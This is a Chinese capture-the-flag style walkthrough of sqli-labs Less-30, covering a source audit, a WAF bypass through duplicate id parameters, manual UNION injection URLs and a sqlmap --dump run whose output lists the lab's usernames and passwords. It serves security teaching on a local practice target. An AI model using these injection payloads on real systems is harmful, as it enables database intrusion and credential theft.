sqli-labs通关笔记-第30关GET字符注入(WAF绕过 双引号闭合 手工注入+脚本注入两种方法)

目录

一、源码分析

1、index.php代码审计

2、login.php代码审计

3、java_implimentation函数

4、whitelist函数

5、SQL安全性分析

二、渗透实战

1、进入靶场

2、WAF探测

(1)触发WAF

(2)绕过WAF

3、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第30关Less 30可以绕过WAF的GET字符型SQL注入关卡进行渗透实战,与29关相比主要的区别是闭合方式由单引号变为双引号。

一、源码分析

本关卡Less30是基于GET字符型的SQL注入关卡,如下所示。

1、index.php代码审计

Less30关卡index.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,且不再打印数据库报错信息,具体区别如下所示。

index.php详细注释后的代码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-30</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 引入数据库连接参数(包含敏感信息)
include("../sql-connections/sql-connect.php");// 禁用PHP错误报告(可能隐藏安全警告)
error_reporting(0);// 处理用户输入的id参数
if(isset($_GET['id']))
{// 获取用户输入的id参数$id = $_GET['id'];// 记录用户输入到日志文件(未过滤可能的恶意内容)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 获取完整的查询字符串用于提示信息$qs = $_SERVER['QUERY_STRING'];$hint = $qs;// 在用户输入的id前后添加双引号(形成 "id" 的格式)// 这是本关卡的核心特点:使用双引号包围用户输入$id = '"' . $id . '"';// 构造SQL查询语句(直接拼接用户输入,存在SQL注入风险)// 注意:这里id变量已经被双引号包围,形成 "id" 的格式$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";// 执行SQL查询(使用不安全的mysql_*函数,已废弃)$result = mysql_query($sql);// 获取查询结果$row = mysql_fetch_array($result);// 根据查询结果输出信息if($row){// 成功查询时显示用户信息echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "</font>";}else {// 失败时显示错误信息(已注释掉数据库错误输出,减少信息泄露)echo '<font color= "#FFFF00">';//print_r(mysql_error());  // 注释掉错误输出,降低安全风险echo "</font>";  }
}
else { // 提示用户输入ID参数echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center><img src="../images/Less-30.jpg" /></br></br></br><img src="../images/Less-30-1.jpg" /></br></br><font size='4' color= "#33FFFF"><?php// 显示用户输入的查询字符串提示echo "Hint: The Query String you input is: " . $hint;?></font> 
</center>
</body>
</html>

本关卡 PHP 代码实现了一个简单的用户信息查询页面,但由于未对GET方法传入参数id进行过滤,存在严重的SQL安全隐患,本关卡核心功能如下:

  1. 参数接收:通过 GET 方法获取用户传入的id参数,使用双引号包裹,未经过滤直接拼接到SQL语句中。
  2. 日志记录:将用户输入的id记录到result.txt文件,用于分析。
  3. 数据库查询:使用mysql_query函数执行 SQL 查询,尝试从users表获取对应id的用户记录。
  4. 结果展示:如果查询成功,显示用户名和密码;如果失败,不显示数据库报错信息。
  5. 提示信息:页面下方显示完整的查询字符串,可能用于帮助用户调试或开发者分析。

2、login.php代码审计

Less30关卡login.php功能是简单基于id的查询页面,相对于29关主要区别是闭合方式变为双引号,但是相对于index.php,本login.php打印数据库报错信息,具体区别如下所示。

login.php功详细注释后的代码如下所示。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-30 Protection with WAF</title>
</head>
<body bgcolor="#000000">
<!-- 页面标题和样式 -->
<div style="margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome <font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php
// 包含数据库连接文件
include("../sql-connections/sql-connect.php");
// 禁用错误报告
error_reporting(0);// 处理GET参数
if(isset($_GET['id']))
{// 获取原始查询字符串$qs = $_SERVER['QUERY_STRING'];$hint=$qs; // 保存用于显示的提示信息// 处理HTTP参数污染(HPP)$id1=java_implimentation($qs);$id=$_GET['id'];// 白名单验证whitelist($id1);// 使用双引号包裹ID值 - 关键风险点$id = '"' .$id. '"';// 记录日志$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
} else { echo "Please input the ID as parameter with numeric value";
}// 白名单过滤函数 - 只允许数字输入
function whitelist($input)
{$match = preg_match("/^\d+$/", $input);if(!$match) {    header('Location: hacked.php');exit;}
}// 模拟HPP(HTTP参数污染)处理
function java_implimentation($query_string)
{$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;break;}}
}
?>
</font> </div>
<!-- 页面底部图片和提示 -->
<center>
<img src="../images/Less-30.jpg" /><br>
<img src="../images/Less-30-1.jpg" /><br>
<font size='4' color= "#33FFFF">
<?php echo "Hint: The Query String you input is: ".$hint; ?>
<br><br>
<!-- 安全相关文档链接 -->
<a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
<a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">WAF绕过技术文档</a>
</font> 
</center>
</body>
</html>

login.php功代码是一个带有 WAF 防护的 Web 应用。核心功能包括如下内容。

  • 用户输入处理:通过$_GET['id']获取参数,使用双引号包裹id,。
  • 对第一个id参数进行过滤处理
    • whitelist函数对参数id使用正则表达式验证输入是否为纯数字,阻止非数字攻击载荷。
    • java_implimentation模拟 Java 应用对 HTTP 参数污染的处理逻辑,仅提取第一个id参数值进行验证。
  • 数据库操作:将用户输入id拼接至 SQL 语句,
    • 如果仅有一个参数id,通过函数过滤后使用SQL语句查询数据库用户信息
    • 如果存在第二个参数id的话则是没有任何过滤直接拼接到SQL语句中。
  • 日志记录:将用户输入的id参数记录到result.txt,用于分析。
  • 结果反馈:成功查询时显示用户名和密码,失败时暴露数据库错误信息(如mysql_error()) 

3、java_implimentation函数

java_implimentation函数的核心目的是模拟 Java 应用处理 HTTP 参数污染 (HPP) 的行为差异。PHP 默认会将重复参数名的值合并为数组,而 Java Servlet 容器通常只处理第一个出现的参数。该函数通过以下步骤提取处理后的参数。

function java_implimentation($query_string)
{$q_s = $query_string;$qs_array = explode("&", $q_s);  // 按&分割参数字符串foreach($qs_array as $key => $value){$val = substr($value, 0, 2);  // 检查参数名前两位if($val == "id"){$id_value = substr($value, 3, 30);  // 提取等号后的值return $id_value;  // 仅返回第一个匹配的id参数值break;}}
}

java_implimentation函数的设计初衷是模拟 Java 应用处理 HTTP 参数污染(HPP)的行为差异,其核心逻辑是从原始查询字符串中提取第一个出现的id参数值,并忽略后续同名参数。函数通过将查询字符串按&分割为参数数组,遍历查找首个以id=开头的参数,提取其值(跳过id=部分)并返回。然而,这一实现存在严重安全风险:它仅验证第一个id参数是否为纯数字(通过白名单),但 SQL 查询却使用原始的、未过滤的id参数,导致攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --)绕过验证机制,实现 SQL 注入攻击。这种验证与使用分离的设计缺陷,使得函数非但未能增强安全性,反而成为SQL注入攻击的触发点。

4、whitelist函数

whitelist()函数使用正则表达式验证输入是否为纯数字,具体处理如下所示。

function whitelist($input) {$match = preg_match("/^\d+$/", $input);if ($match) {// 验证通过,不做处理} else {	header('Location: hacked.php');}
}
  • 功能:实现白名单机制,仅允许纯数字输入,意图阻止非数字类型的 SQL 注入攻击。
  • 参数$input为待验证的用户输入(来自java_implimentation函数提取的第一个id参数值)
  • 正则表达式:核心函数$match = preg_match("/^\d+$/", $input),要求输入完全由数字组成,不允许包含任何非数字字符(如字母、符号、空格等)
    • ^:匹配输入字符串的开始位置。
    • \d+:匹配一个或多个数字(等价于[0-9]+)。
    • $:匹配输入字符串的结束位置。
  • 条件判断与响应:

    • 验证通过($match1
      不执行任何操作,允许程序继续执行数据库查询。
    • 验证失败($match0
      通过header('Location: hacked.php')重定向到hacked.php页面,模拟 “攻击检测成功” 的响应。
  • 安全风险原因:

    • 函数仅验证第一个id参数(由java_implimentation函数提取),但未处理其他id参数。
    • SQL 查询使用的是原始$_GET['id']参数(包含所有提交的id参数),而非验证通过的$id1
  • 绕过原理:通过提交多个id参数,使第一个参数为纯数字(通过验证),第二个参数包含恶意载荷:

    • // 示例 payload
      id=1&id=1" OR 1=1 --+
      验证阶段:java_implimentation提取第一个参数id=1,whitelist验证通过(因为第一关参数1为纯数字)。
    • 查询阶段:$_GET['id']为第二个id参数1" OR 1=1 --+,被直接拼入 SQL 语句,触发SQL注入。

5、SQL安全性分析

尽管代码尝试通过白名单过滤数字输入,但存在以下致命缺陷:

  • java_implimentation绕过防护:java_implimentation()仅验证第一个id参数,攻击者可通过提交多个id参数(如id=1&id=1" OR 1=1 --),使第一个参数通过验证,第二个参数传入到SQL语句触发 SQL 注入风险。
  • 未处理 SQL 拼接:第二个参数变量$id直接拼入 SQL 语句,未使用预处理语句或转义函数,直接执行SELECT * FROM users WHERE id="$id" LIMIT 0,1导致恶意 payload 可破坏 SQL 语法结构。
  • 错误信息泄露:mysql_error()直接输出数据库错误,可能泄露表名、字段名等敏感信息,辅助攻击者构造攻击载荷。

二、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第30关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less30关卡,进入到靶场的第30关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: The Query String you input is: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-30

访问30关卡的login.php,URL与访问页面如下所示。

http://127.0.0.1/sqli-labs/Less-30/login.php

访问30关卡的hacked.php,URL如下所示。

http://192.168.59.1/sqli-labs/Less-30/hacked.php

根据源码分析我们得知,仅当访问login.php且第一id非数字时会进入如下页面。 

2、WAF探测

(1)触发WAF

访问login.php,第一个参数设置为纯数字1单引号,因为第一关id不是纯数字触发了防火墙的防护,被重定向到hacked.php,效果如下所示。

http://127.0.0.1/sqli-labs/Less-30/login.php?id=1'

(2)绕过WAF

访问login.php,第一个参数设置为纯数字1,第二个参数id设置为1" or 1=1--+,效果如下所示绕过了防火墙的防护,当前页面显示查询成功,显示id=1的用户名和密码,没有重定向到hacked.php。

http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=1" or 1=1--+

3、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1" ORDER BY 4--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=-1" UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+

4、渗透实战

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-30/login.php?id=1&id=1*" --current-db  --batch --dump

特别注意,本次渗透并没有选择index.php?id=1的网址,否则本关卡与第1关没有任何区别了,本关卡选择login.php后面跟着两个参数id,其中第一个参数id=1用于绕过Waf,第二个参数id=1*则是指定注入点。执行注入命令后,sqlmap渗透成功,可以通过联合注入法、报错法、时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND 2583=2583#Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND GTID_SUBSET(CONCAT(0x716b6a6271,(SELECT (ELT(5237=5237,1))),0x71767a7071),5237)-- NpJWType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=1" AND (SELECT 7156 FROM (SELECT(SLEEP(5)))RDwn)-- TQecType: UNION queryTitle: MySQL UNION query (NULL) - 3 columnsPayload: http://192.168.59.1:80/sqli-labs/Less-30/login.php?id=1&id=-3633" UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a6271,0x6273634f6461476c54424b734b504173504c415a6365414a656a70654a567a55685774724472646f,0x71767a7071)#
---
[01:45:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[01:45:11] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91968.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91968.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【openlayers框架学习】九:openlayers中的交互类(select和draw)

文章目录openlayers进阶28 openlayers中的事件29 openlayers中select交互类的使用30 openlayers中select常见的配置选项31 openlayers中绘制交互类&#xff08;Draw&#xff09;openlayers进阶 28 openlayers中的事件 常用进行事件交互的对象&#xff1a;map\view\source29 o…

Java企业级应用性能优化实战

在企业级Java应用开发中,性能优化是确保系统稳定运行的关键因素。本文将从多个维度深入分析Java应用性能瓶颈,并提供实战优化方案。 🎯 性能优化核心领域 1. 对象操作性能优化 在企业应用中,对象拷贝是一个高频操作,特别是在分层架构中的DO、DTO、VO转换。选择合适的拷…

LLM Prompt与开源模型资源(3)如何写一个好的 Prompt

学习材料&#xff1a;https://www.hiascend.com/developer/courses/detail/1935520434893606913 &#xff08;3.5&#xff09;学习时长&#xff1a; 预计 60 分钟学习目的&#xff1a; 了解提示工程的定义与作用熟悉提示工程的关键技术相关概念掌握基于昇腾适配的大模型提示工程…

日志管理工具 ——ELK Stack

一、ELK Stack 概述1.1 核心组件ELK Stack&#xff08;现更名为 Elastic Stack&#xff09;是一套开源的日志收集、存储、分析和可视化平台&#xff0c;由三个核心组件构成&#xff1a;Elasticsearch&#xff1a;分布式搜索引擎&#xff0c;负责日志数据的存储、索引和快速查询…

SpringAI:AI工程应用框架新选择

Spring AI 是一个用于 AI 工程的应用框架 Spring AI 是一个用于 AI 工程的应用框架。其目标是将可移植性和模块化设计等 Spring 生态系统设计原则应用于 AI 领域,并推广使用 POJO 作为应用程序的构建块到 AI 领域。 Spring AI 的核心是解决 AI 集成的基本挑战:将企业数据和…

Kettle 开源ETL数据迁移工具从入门到实战

ETL&#xff08;Extract, Transform, Load&#xff09;工具是用于数据抽取、转换和加载的软件工具&#xff0c;用于支持数据仓库和数据集成过程。Kettle作为传统的ETL工具是纯 java 开发的开源的 ETL工具&#xff0c;用于数据库间的数据迁移 。可以在 Linux、windows、unix 中运…

Maven中的bom和父依赖

maven最全避坑指南写完后&#xff0c;发现自己对于bom和父pom的理解还是不够深入&#xff0c;特此转载DeepSeek的回答&#xff0c;和大家一起学习了。 在 Maven 的依赖管理中&#xff0c;父 POM (Parent POM) 和 BOM (Bill of Materials) 都是用于实现集中化管理和控制的核心机…

Python 操作 Word 文档:主流库对比与选择指南

在办公自动化、报告生成、数据处理等领域&#xff0c;利用 Python 程序化地创建、读取或修改 Microsoft Word 文档 (.docx 格式) 是一项非常实用的技能。Python 生态中有多个优秀的库可以完成这项任务&#xff0c;但它们各有侧重和优缺点。选择哪一个“最好用”&#xff0c;关键…

怎么修改论文格式呢?提供一份论文格式模板

注!!!本文内容是作者自己整理的一份模板,仅供参考,各位如何修改,还需要看学校的要求。 一、参考文献 1、有一定数量的近几年参考文献、不宜过多中文文献 英文期刊模板 [1] Taesoo K, Sooyoung K, Kyunghan L, et al. Special issue on 6G and satellite communication…

MVC 发布

MVC 发布 引言 MVC(Model-View-Controller)模式是一种广泛应用于软件开发的架构模式。它将应用程序分为三个主要部分:模型(Model)、视图(View)和控制器(Controller)。这种模式不仅提高了代码的可维护性和可扩展性,而且使得开发者可以更加专注于各个组件的开发。本文…

arkui 动画曲线

参考文档 https://developer.huawei.com/consumer/cn/doc/harmonyos-references/js-apis-curve#curvesinterpolatingspring10 可视化工具网站 https://easingwizard.com/ https://www.desmos.com/calculator/k01p40v0ct?langzh-CN 基本介绍 import { curves } from kit.A…

大语言模型(LLM)技术架构与工程实践:从原理到部署

在自然语言处理领域,大语言模型(LLM)已成为颠覆性技术。从 GPT 系列到 LLaMA、ChatGLM,这些参数规模动辄百亿甚至万亿的模型,不仅实现了流畅的自然语言交互,更在代码生成、逻辑推理等复杂任务中展现出惊人能力。本文将从技术底层拆解 LLM 的核心架构,分析训练与推理的关…

python后端之DRF框架(上篇)

一、DRF框架介绍 1、web应用开发模式 1.1、前后端不分离1.2、前后端分离2、RESTful介绍 RESTful是目前最流行的API设计风格 &#xff0c; REST 指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是 RESTful。 1、每一个URI代表1种资源&#xff1b; 2、客…

信创数据库-DM(达梦)数据库安装教程

官方安装文档在这&#xff1a;安装前准备 | 达梦技术文档 本文也是基于这个来写的&#xff0c;微调了一下。 1&#xff0c;下载安装包 体验版直接到官方下载即可&#xff1a;产品下载 | 达梦在线服务平台 如果是有需要商业版等&#xff0c;需要联系客服申请。 安装包要选择CPU…

docker常用命令集(6)

接前一篇文章&#xff1a;docker常用命令集&#xff08;5&#xff09; 本文内容参考&#xff1a; Docker login/logout 命令 | 菜鸟教程 Docker命令_docker login-CSDN博客 特此致谢&#xff01; 9. docker login 简介 docker login命令用于登录到docker注册表&#xff08…

[LINUX操作系统]shell脚本之循环

1.编写脚本for1.sh,使用for循环创建20账户&#xff0c;账户名前缀由用户从键盘输入&#xff0c;账户初始密码由用户输入&#xff0c;例如:test1、test2、test3......[rootmaster ~]# vim for1.sh #!/bin/bashread -p "请输入账户名称前缀&#xff1a;" prefixread -p…

空间设计:不是餐厅的装饰游戏

餐厅空间设计&#xff0c;是通过布局规划与环境营造&#xff0c;将功能需求、品牌调性与顾客体验融合的系统性工程 —— 它不仅决定顾客「坐得舒不舒服」&#xff0c;更影响「愿不愿意再来」「会不会主动分享」的消费决策。体验感知的第一触点&#xff1a;顾客进门 3 秒内&…

XSS-DOM 2

目录 1 DOMPurify 1.1 漏洞源码 1.2 加载框架 ​编辑 setTimeout 1.3 ok&#xff1f; 1.4 window和document 1.5 Overwrite&#xff08;document.x&#xff09; 1.5.1 打印cookie 1.6 Overwrite2&#xff08;document.x.y&#xff09; 1.6.1 form表单 1.7 toString…

从数据丢失到动画流畅:React状态同步与远程数据加载全解析

在前端开发中&#xff0c;数据状态管理与界面同步始终是核心挑战。近期我在处理一个书签管理应用时&#xff0c;遇到了远程数据加载后无法显示、界面更新异常&#xff0c;甚至动画闪烁等一系列问题。经过多轮调试与优化&#xff0c;最终实现了数据的正确加载与流畅的界面交互。…

MySQL半同步复制机制详解:AFTER_SYNC vs AFTER_COMMIT 的优劣与选择

目录深入分析与利弊对比1. AFTER_COMMIT (不推荐)2. AFTER_SYNC (强烈推荐&#xff0c;MySQL 8.0 默认)总结与强烈建议最佳实践 MySQL 半同步复制主要有两种实现方式&#xff0c;其核心区别在于主库何时回复客户端事务提交成功&#xff08;即何时认为事务完成&#xff09;&…